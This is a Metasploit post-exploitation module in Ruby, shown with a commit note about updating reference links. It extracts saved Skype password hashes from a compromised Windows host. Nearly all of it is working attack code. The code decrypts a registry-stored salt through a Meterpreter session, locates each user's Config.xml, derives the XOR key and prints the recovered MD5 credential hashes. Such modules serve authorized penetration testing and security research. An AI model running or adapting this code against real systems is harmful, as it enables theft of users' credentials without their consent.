a54f3d4707
doing these "by domain" now, piecemeal. this PR fixes all broken references to the "insecurety" website, which is long dead.
190 lines
5.7 KiB
Ruby
190 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather Skype Saved Password Hash Extraction',
|
|
'Description' => %q{
|
|
This module finds saved login credentials
|
|
for the Windows Skype client. The hash is in MD5 format
|
|
that uses the username, a static string "\nskyper\n" and the
|
|
password. The resulting MD5 is stored in the Config.xml file
|
|
for the user after being XOR'd against a key generated by applying
|
|
2 SHA1 hashes of "salt" data which is stored in ProtectedStorage
|
|
using the Windows API CryptProtectData against the MD5
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'mubix', # module
|
|
'hdm' # crypto help
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'References' => [
|
|
['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'],
|
|
['URL', 'https://web.archive.org/web/20140207115406/http://insecurety.net/?p=427'],
|
|
['URL', 'https://github.com/skypeopensource/tools']
|
|
],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_ls
|
|
stdapi_railgun_api
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_getpid
|
|
stdapi_sys_process_memory_allocate
|
|
stdapi_sys_process_memory_read
|
|
stdapi_sys_process_memory_write
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
# To generate test hashes in ruby use:
|
|
=begin
|
|
|
|
require 'openssl'
|
|
|
|
username = "test"
|
|
passsword = "test"
|
|
|
|
hash = Digest::MD5.new
|
|
hash.update username
|
|
hash.update "\nskyper\n"
|
|
hash.update password
|
|
|
|
puts hash.hexdigest
|
|
|
|
=end
|
|
|
|
def decrypt_reg(data)
|
|
pid = session.sys.process.getpid
|
|
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
mem = process.memory.allocate(512)
|
|
process.memory.write(mem, data)
|
|
|
|
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
|
|
addr = [mem].pack('V')
|
|
len = [data.length].pack('V')
|
|
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
|
len, addr = ret['pDataOut'].unpack('V2')
|
|
else
|
|
# Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
|
|
addr = Rex::Text.pack_int64le(mem)
|
|
len = Rex::Text.pack_int64le(data.length)
|
|
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
|
pData = ret['pDataOut'].unpack('VVVV')
|
|
len = pData[0] + (pData[1] << 32)
|
|
addr = pData[2] + (pData[3] << 32)
|
|
end
|
|
|
|
return '' if len == 0
|
|
|
|
return process.memory.read(addr, len)
|
|
end
|
|
|
|
# Get the "Salt" unencrypted from the registry
|
|
def get_salt
|
|
print_status 'Checking for encrypted salt in the registry'
|
|
vprint_status 'Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0'
|
|
rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0')
|
|
print_good('Salt found and decrypted')
|
|
return decrypt_reg(rdata)
|
|
end
|
|
|
|
# Pull out all the users in the AppData directory that have config files
|
|
def get_config_users(appdatapath)
|
|
users = []
|
|
dirlist = session.fs.dir.entries(appdatapath)
|
|
dirlist.shift(2)
|
|
dirlist.each do |dir|
|
|
if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false
|
|
vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
|
|
next
|
|
end
|
|
print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
|
|
users << dir
|
|
end
|
|
return users
|
|
end
|
|
|
|
def parse_config_file(config_path)
|
|
hex = ''
|
|
configfile = read_file(config_path)
|
|
configfile.each_line do |line|
|
|
if line =~ /Credentials/i
|
|
hex = line.split('>')[1].split('<')[0]
|
|
end
|
|
end
|
|
return hex
|
|
end
|
|
|
|
def decrypt_blob(credhex, salt)
|
|
# Convert Config.xml hex to binary format
|
|
blob = [credhex].pack('H*')
|
|
|
|
# Concatinate SHA digests for AES key
|
|
sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt)
|
|
|
|
aes = OpenSSL::Cipher.new('AES-256-CBC')
|
|
aes.encrypt
|
|
aes.key = sha[0, 32] # Use only 32 bytes of key
|
|
final = aes.update([0].pack('N*') * 4) # Encrypt 16 \x00 bytes
|
|
final << aes.final
|
|
xor_key = final[0, 16] # Get only the first 16 bytes of result
|
|
|
|
vprint_status("XOR Key: #{xor_key.unpack('H*')[0]}")
|
|
|
|
decrypted = []
|
|
|
|
# Use AES/SHA crypto for XOR decoding
|
|
16.times do |i|
|
|
decrypted << (blob[i].unpack('C*')[0] ^ xor_key[i].unpack('C*')[0])
|
|
end
|
|
|
|
return decrypted.pack('C*').unpack('H*')[0]
|
|
end
|
|
|
|
def get_config_creds(salt)
|
|
users = []
|
|
appdatapath = expand_path('%AppData%') + '\\Skype'
|
|
print_status('Checking for config files in %APPDATA%')
|
|
users = get_config_users(appdatapath)
|
|
if users.any?
|
|
users.each do |user|
|
|
print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
|
|
credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
|
|
if credhex == ''
|
|
print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
|
|
next
|
|
else
|
|
hash = decrypt_blob(credhex, salt)
|
|
print_good "Skype MD5 found: #{user}:#{hash}"
|
|
end
|
|
end
|
|
else
|
|
print_error 'No users with configs found. Exiting'
|
|
end
|
|
end
|
|
|
|
def run
|
|
salt = get_salt
|
|
if !salt.nil?
|
|
creds = get_config_creds(salt)
|
|
else
|
|
print_error 'No salt found. Cannot continue without salt, exiting'
|
|
end
|
|
end
|
|
end
|